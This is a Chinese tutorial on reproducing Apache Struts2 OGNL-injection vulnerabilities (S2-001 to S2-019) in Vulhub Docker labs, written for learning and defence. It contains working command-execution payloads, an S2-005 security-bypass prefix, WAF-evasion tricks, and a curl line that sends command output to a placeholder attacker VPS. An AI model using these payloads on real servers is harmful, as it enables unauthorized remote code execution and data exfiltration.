基于Vulhub的Struts2漏洞一键复现与深度分析实战指南
1. 项目概述:从“手搓POC”到“一键复现”的进化
如果你是一名安全研究员、渗透测试工程师,或者正在学习Web安全,那么“Struts2漏洞”这个名字你一定不陌生。从S2-001到S2-061,这个经典的Java Web框架漏洞家族,几乎成了每个安全从业者的“必修课”。然而,这门课的实践环节,往往伴随着巨大的痛苦:你需要手动搭建一个包含特定版本Struts2、特定依赖库的Java Web环境,然后四处寻找可用的POC(概念验证代码),再小心翼翼地调整参数,祈祷它能在你的本地环境里成功运行。这个过程,我们戏称为“手搓POC”——费时、费力、环境依赖复杂,一个jar包版本不对,可能一晚上的时间就白费了。
我经历过太多次这样的挫败。直到我开始系统性地使用Vulhub,这一切才发生了根本性的改变。Vulhub不是一个新概念,但它对于漏洞复现学习而言,是一个革命性的工具。它本质上是一个基于Docker的漏洞环境集合,将历史上著名的漏洞环境,包括Struts2全系列、ThinkPHP、Weblogic等,全部做成了“开箱即用”的Docker镜像。你不再需要关心Tomcat版本、JDK版本、Struts2的jar包去哪里下载,甚至不需要手动编译和部署。你只需要一条docker-compose up -d命令,一个完整的、可攻击的漏洞环境就在几秒钟内准备就绪。
今天,我就以Struts2这个“漏洞之王”为例,带你彻底告别手动搭建环境的石器时代,用Vulhub实现从S2-001到S2-019(甚至更远)所有漏洞的一键式、标准化复现。这不仅是为了“偷懒”,更是为了建立一个可重复、可追溯、高效率的学习和研究工作流。你会发现,当环境搭建不再是障碍,你的精力才能真正聚焦在漏洞原理的理解、利用手法的精进和防御方案的思考上。
2. Vulhub核心优势与部署实战
在深入Struts2漏洞之前,我们必须先吃透Vulhub这个工具。很多人知道它好用,但未必清楚它为什么好用,以及如何把它用得更好。
2.1 为什么是Vulhub?不仅仅是方便
Vulhub的核心价值在于它用Docker容器技术,完美解决了安全研究中的“环境一致性”难题。想象一下,你写了一个S2-045的检测脚本,在你的Ubuntu 20.04 + Tomcat 8.5 + JDK 8环境下运行良好。但当你的同事在Windows 11上用不同的JDK版本测试时,脚本却失败了。是脚本有问题,还是环境问题?这种扯皮和调试会消耗大量无谓的精力。
Vulhub通过Docker镜像,将操作系统、中间件、应用代码及其所有依赖,打包成一个不可变的整体。这个镜像在任何安装了Docker的机器上运行,表现都是一致的。这意味着:
- 复现结果可重现:你今天复现成功的漏洞,一个月后,换一台电脑,依然可以百分之百复现。
- 学习路径标准化:所有学习者面对的是完全一致的环境,排除了环境变量干扰,讨论问题可以聚焦于漏洞本身。
- 快速切换与清理:测试完S2-001,想立刻看S2-005?只需要
docker-compose down停止当前容器,然后进入另一个漏洞目录再次up即可。测试产生的所有数据都隔离在容器内,宿主机系统保持干净。 - 内置漏洞验证:大多数Vulhub漏洞环境都附带了详细的README和验证POC,你甚至不需要自己从零开始写攻击代码,可以先利用它提供的POC理解漏洞触发流程。
2.2 从零开始:你的Vulhub环境搭建指南
虽然Vulhub使用简单,但一个稳定高效的底层环境是基础。以下是基于Linux系统(推荐Ubuntu 22.04 LTS)的详细部署步骤,我会解释每一个步骤的意图。
第一步:系统准备与Docker安装首先,更新系统包并安装Docker的必备依赖。apt-transport-https等包是为了让apt能通过HTTPS协议获取仓库。
sudo apt update sudo apt install -y apt-transport-https ca-certificates curl software-properties-common接着,添加Docker官方GPG密钥和软件源。这里使用的是国内开发者常用的阿里云镜像源,速度更快。
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository "deb [arch=amd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable"安装Docker引擎和命令行工具。
sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io安装完成后,将当前用户加入docker组,这样以后运行docker命令就不需要每次都加sudo了。这是一个重要的便利性设置,但要注意这会赋予该用户相当于root的权限(因为Docker守护进程以root运行)。在个人学习环境可以这么做,在生产服务器上需谨慎。
sudo usermod -aG docker $USER # 执行此命令后,你需要退出当前终端并重新登录,或者新开一个终端,用户组变更才会生效。验证安装:docker --version和docker run hello-world。如果能看到欢迎信息,说明Docker安装成功。
第二步:安装Docker ComposeDocker Compose是一个用于定义和运行多容器应用的工具。Vulhub的每个漏洞环境都是一个docker-compose.yml文件来定义的。
# 下载Docker Compose的二进制文件。这里同样使用国内镜像加速。 sudo curl -L "https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose # 赋予执行权限 sudo chmod +x /usr/local/bin/docker-compose # 验证安装 docker-compose --version第三步:获取Vulhub漏洞库Vulhub的所有漏洞环境定义文件都托管在GitHub上。我们通过git克隆下来。
# 选择一个合适的目录,例如家目录 cd ~ # 克隆项目,如果速度慢,可以考虑使用ghproxy等GitHub代理 git clone https://github.com/vulhub/vulhub.git cd vulhub至此,你的Vulhub环境就已经准备好了。整个目录结构是按漏洞类型和应用分类的,非常清晰。例如,Struts2的漏洞就在/struts2目录下。
实操心得:网络与权限的坑
- 镜像加速:在国内,Docker拉取镜像可能很慢。务必配置国内镜像加速器。创建或修改
/etc/docker/daemon.json,加入以下内容(以阿里云为例,你需要去阿里云容器镜像服务控制台获取自己的加速器地址):{ "registry-mirrors": ["https://your-id.mirror.aliyuncs.com"] }然后重启Docker服务:
sudo systemctl restart docker。 2.权限问题:如果你没有将用户加入docker组,或者执行newgrp docker后依然提示权限拒绝,可以尝试彻底退出终端再重新登录。这是Linux用户组切换的常见问题。 3.端口冲突:Vulhub环境默认会占用宿机的80、8080、8000等常见端口。如果这些端口已被你机器上的Nginx、Tomcat等服务占用,会导致容器启动失败。你需要先停止这些服务,或者学习如何修改docker-compose.yml文件映射到其他宿主机端口。
3. Struts2漏洞体系深度解析与Vulhub实战
有了Vulhub,我们就可以像翻阅一本漏洞百科全书一样,逐个研究Struts2漏洞。这里我选取几个具有代表性的漏洞,带你走一遍完整的复现、分析与理解流程。
3.1 S2-001:OGNL表达式注入的“启蒙老师”
S2-001是Struts2漏洞家族的起点,其原理是Struts2在处理表单验证错误时,会对用户提交的表单值进行二次解析,而这个过程没有对OGNL表达式进行过滤。OGNL是Struts2用于在视图和控制器之间绑定数据的表达式语言,功能非常强大,可以执行Java代码。
Vulhub复现步骤:
- 进入漏洞目录:
cd ~/vulhub/struts2/s2-001 - 启动环境:
docker-compose up -d。你会看到它拉取镜像并启动一个Tomcat容器。 - 访问环境:用浏览器打开
http://your-vm-ip:8080。你会看到一个简单的登录页面。 - 漏洞利用:这个漏洞的触发点在于表单验证失败后的回显。在用户名和密码框都输入一个OGNL表达式,例如
%{1+1}。点击登录,由于账号密码错误,页面会跳转回登录页,但此时你会发现,你输入的%{1+1}被计算成了2并显示在了输入框里!这就证明了OGNL表达式被执行了。
深入利用与理解:单纯的1+1只是验证。OGNL的强大在于它能访问Java对象。我们可以构造Payload获取更敏感的信息:
- 获取Tomcat路径:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#req.getRealPath('/')} - 执行命令(经典Payload):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
这个Payload看起来复杂,但逻辑清晰:它通过OGNL上下文获取了HttpServletResponse对象,然后创建进程执行whoami命令,并将命令执行结果通过Response写回页面。
注意事项:命令执行的“坑”
- 编码问题:在浏览器中直接输入复杂Payload,特殊字符(如
{,},")需要URL编码。你可以先用Burp Suite抓包,然后在Repeater模块中修改参数值,这样更方便。- 空格与引号:命令参数中的空格有时会导致解析问题。将命令和参数放在String数组里是更可靠的方式,如
new String[]{"bash", "-c", "command here"}。- 无回显怎么办:如果页面没有回显,可以采用盲注的方式,比如用
ping命令探测自己的服务器(ping -c 1 your-ip),或者用curl、wget将命令结果外带到你的公网服务器。
3.2 S2-005:参数拦截器与绕过艺术
S2-005的成因比S2-001更有趣。它源于S2-003和S2-004的修复不完全。官方通过正则表达式加强了对OGNL表达式的过滤,但过滤规则可以被绕过。这个漏洞的利用通常需要借助修改HTTP请求的Content-Type头或参数名本身来注入OGNL代码。
Vulhub复现步骤:
cd ~/vulhub/struts2/s2-005docker-compose up -d- 访问
http://your-vm-ip:8080。这是一个默认的Struts2示例页面。 - 利用这个漏洞通常需要工具辅助。你可以使用Burp Suite。在浏览器中随便点击一个页面链接,用Burp抓包。然后将抓到的GET或POST请求发送到Repeater。
- 在Repeater中,你需要构造特殊的参数名。例如,原始的请求参数是
name=value,你可以将其修改为:('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&...(这是一个经过编码的、用于关闭安全限制的Payload前缀)。在其后,你可以附加命令执行的OGNL代码。
原理剖析:这个漏洞的关键在于Struts2的“参数拦截器”(Parameters Interceptor)。它负责将HTTP请求中的参数设置到Action对象的属性中。攻击者通过构造特殊的参数名(其中包含了OGNL表达式),让拦截器在解析参数名(而非常规的参数值)时,就执行了其中的恶意代码。\u0023是#的Unicode编码,用于绕过简单的关键字过滤。这个漏洞告诉我们,修复漏洞时,如果只堵“值”而忽略了“键”,同样会留下隐患。
3.3 S2-016 & S2-017:重定向引发的灾难
S2-016和S2-017是另一个类型的漏洞,它们存在于Struts2的“重定向结果类型”(Redirect Action Result)中。当配置中使用了动态参数(如${param})来指定重定向地址时,攻击者可以控制这个地址,进而执行OGNL表达式。
Vulhub复现步骤(以S2-016为例):
cd ~/vulhub/struts2/s2-016docker-compose up -d- 访问
http://your-vm-ip:8080。页面上可能会有多个演示链接。 - 经典的利用方式是操纵
redirect:或redirectAction:参数。例如,访问URL:http://your-vm-ip:8080/index.action?redirect:%25{3*3}。如果页面发生了重定向,并且重定向的URL中包含了计算后的结果9,就说明漏洞存在。 - 更进一步,可以构造命令执行Payload:
?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'whoami'})).start()}
这个漏洞的可怕之处在于,它可能存在于任何使用了动态重定向的功能中,比如登录跳转、错误页面跳转等,攻击者可以诱导用户点击一个恶意链接,就在用户不知情的情况下在服务器上执行了命令。
3.4 S2-019:动态方法调用(DMI)的滥用
S2-019的漏洞点在于Struts2的“动态方法调用”特性。默认情况下,Struts2允许通过URL中的method:前缀来动态调用Action中的方法,例如/userAction!delete.action。如果这个功能被开启且没有受到严格限制,攻击者就可以调用任何公有方法,包括一些危险的方法。
Vulhub复现步骤:
cd ~/vulhub/struts2/s2-019docker-compose up -d- 访问
http://your-vm-ip:8080。 - 利用方式通常是结合OGNL表达式。例如,尝试访问:
http://your-vm-ip:8080/index.action?method:%25{(new+java.lang.ProcessBuilder('touch', '/tmp/s2-019-success')).start()}
这个漏洞的修复方案通常是在Struts2配置中彻底关闭动态方法调用(struts.enable.DynamicMethodInvocation = false),或者使用更严格的方法白名单。
4. 高效复现工作流与深度分析技巧
掌握了单个漏洞的复现后,我们需要建立一套高效的工作流,并深入挖掘漏洞背后的故事,而不仅仅是执行一个POC。
4.1 建立你的漏洞研究实验室
不要满足于启动一个漏洞环境然后打一下POC就结束。你应该把Vulhub当作你的实验室:
- 环境快照:在启动一个干净的环境后(
docker-compose up -d),可以先做一个笔记,记录下初始状态。然后进行漏洞利用。利用完成后,不要急于docker-compose down。使用docker exec -it <container_id> /bin/bash进入容器内部,查看漏洞利用是否留下了文件(如/tmp下的文件)、是否修改了配置、是否产生了新的进程或网络连接。这能帮你理解漏洞的完整影响链。 - 流量分析:始终开着Burp Suite。将浏览器代理设置为Burp,复现漏洞的整个过程都会被记录下来。在Burp的Repeater里,你可以反复修改、重放攻击Payload,观察服务器的响应变化。在Intruder模块,你可以对Payload的某个位置进行模糊测试,尝试发现更多的利用方式或绕过技巧。
- 源码关联:Vulhub环境中的Web应用是编译好的。但对于想深究原理的人,可以去Apache Struts的官方仓库下载对应版本的源代码。在IDEA或Eclipse中搭建调试环境固然完美,但更快捷的方式是:直接在线阅读漏洞修复的Commit。在GitHub上搜索Struts2的仓库,找到对应版本(如
STRUTS_2_3_14)的标签,然后查看历史提交。搜索漏洞编号(如S2-016),你往往能找到修复该漏洞的那个关键Commit。对比修复前后的代码差异,是理解漏洞根因最直接的方法。
4.2 从复现到挖掘:思维模式的转变
当你熟练复现一系列漏洞后,你的思维应该从“使用者”转向“研究者”。
- 模式归纳:Struts2漏洞大多和OGNL表达式注入有关。那么触发OGNL解析的入口点有哪些?我们发现:表单错误回显(S2-001)、参数名解析(S2-005)、重定向参数(S2-016)、动态方法调用(S2-019)、文件上传标签(S2-045)、Content-Type头(S2-046)等等。这其实就是攻击面的枚举。
- 修复与绕过:看S2-003的修复是增加了
#_memberAccess的检查,S2-005就绕过了它。后来的修复引入了SecurityMemberAccess类和allowStaticMethodAccess等开关。思考:为什么这个修复是有效的?它堵住了哪条路?它又可能在哪里留下新的缝隙?这种“攻防对抗”的思维是安全研究的核心。 - 工具化:手动复现是学习,但批量检测需要工具。你可以用Python的
requests库,将上述各个漏洞的检测Payload封装成一个脚本。这个脚本接收一个URL,然后依次发送特征Payload,根据返回结果判断是否存在某个Struts2漏洞。这就是一个最简单的漏洞扫描器雏形。
5. 常见问题、排查技巧与安全实践
即使有了Vulhub这样的利器,在实际操作中你仍会遇到各种问题。下面是我踩过的一些坑和总结的技巧。
5.1 Vulhub环境本身的问题
问题1:docker-compose up -d失败,提示端口被占用。
- 排查:运行
sudo netstat -tulpn | grep :8080(或其他被占用的端口号),查看是哪个进程占用了。 - 解决:
- 停止冲突服务:如果是不重要的服务,如自己测试用的Tomcat,可以将其停止。
- 修改映射端口:这是更优雅的方式。编辑漏洞目录下的
docker-compose.yml文件,找到ports部分,例如- "8080:8080",将其改为- "18080:8080"。前面是宿主机端口,后面是容器内端口。修改后重启环境即可通过http://your-ip:18080访问。
问题2:容器启动后,访问页面显示404 Not Found或连接被拒绝。
- 排查:
- 检查容器状态:
docker-compose ps。确保状态是Up。 - 查看容器日志:
docker-compose logs。这里会有最详细的错误信息。常见原因是应用启动失败(如War包解压错误、数据库连接失败等)。
- 检查容器状态:
- 解决:根据日志错误信息解决。可能是内存不足、镜像拉取不完整。可以尝试
docker-compose down然后docker-compose up --build -d重新构建启动。
问题3:Payload执行成功,但无回显。
- 排查:这是命令执行漏洞利用中的常态。你的命令可能执行了,但输出没有返回到你看到的页面上。
- 解决:
- 使用盲注技术:用
ping、sleep、curl、wget等命令来验证。例如,执行ping -c 4 your-vps-ip,然后在你的VPS上监听ICMP包 (tcpdump icmp) 看是否能收到。 - 外带数据:将命令结果通过HTTP或DNS请求发送到你的服务器。
- Linux下:
curl http://your-vps-ip:9999/?result=$(whoami|base64) - 在你的VPS上运行
nc -lvnp 9999或启动一个简单的HTTP服务器python3 -m http.server 9999来接收结果。
- Linux下:
- 写入文件:如果Web目录可写,可以将结果写入一个Web文件,然后访问查看。
echo whoami > /usr/local/tomcat/webapps/ROOT/test.txt(路径需根据实际情况调整)。
- 使用盲注技术:用
5.2 漏洞复现与利用中的高阶技巧
技巧1:Payload编码与变形WAF和简单的过滤机制会检测常见的危险字符和字符串。你需要对Payload进行编码和变形。
- URL编码:
#->%23,{->%7b,}->%7d,空格 ->%20或+。 - Unicode编码:
#->\u0023。 - 大小写变换:
Runtime->runtime。 - 字符串拼接:
new+ProcessBuilder()。 - 反射调用:避免直接使用
Runtime.getRuntime().exec(),转而使用java.lang.Class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec(...)。这种方式更能绕过基于静态字符串匹配的WAF。
技巧2:利用上下文信息不同的漏洞触发点,你能访问的OGNL上下文对象是不同的。在S2-001中,你可以通过#parameters、#request等访问请求对象。在S2-005中,你可能需要先关闭一些安全开关(如#_memberAccess)。理解当前漏洞点的上下文,是构造有效Payload的前提。多看看Vulhub里每个漏洞目录下的README和EXP脚本,能学到很多上下文利用的技巧。
5.3 安全研究与学习的最佳实践
- 永远在隔离环境进行:这就是Vulhub和Docker最大的价值。永远不要在你的个人开发机或公司网络内直接测试未知的漏洞利用代码。
- 记录与归档:为每一个你复现的漏洞建立一个笔记。内容包括:漏洞编号、影响版本、漏洞原理简述、Vulhub启动命令、利用步骤(含具体Payload)、漏洞修复方式、参考链接。使用Markdown格式,配上截图和流量包,日后回顾一目了然。
- 追根溯源:不要只停留在“能用”。多问几个为什么:这个漏洞的CVE编号是什么?NVD上怎么描述的?官方修复的Commit链接是什么?有没有公开的分析文章?将这些信息都整理到你的笔记里。
- 法律与道德底线:你搭建的Vulhub环境只能用于自我学习和技术研究。未经授权,对任何非你自己拥有的系统进行漏洞测试都是非法的。技术是一把双刃剑,心中必须常怀敬畏。
通过Vulhub,我们将Struts2漏洞复现这个曾经繁琐的工作,变成了一个可重复、可追溯、高效率的学习过程。从环境搭建的泥潭中解放出来,我们才能将更多精力投入到漏洞原理的深度剖析和攻防技术的本质思考上。这套方法论不仅适用于Struts2,也适用于Vulhub中集成的数百个其他漏洞。当你熟悉了这个流程,你会发现,面对一个新的CVE漏洞,你的第一反应不再是焦虑和茫然,而是有条不紊地:搜索是否有现成的Vulhub环境;如果没有,则根据描述自己去构建一个Docker测试环境;然后开始你的分析与利用之旅。这才是安全研究者应有的姿态。
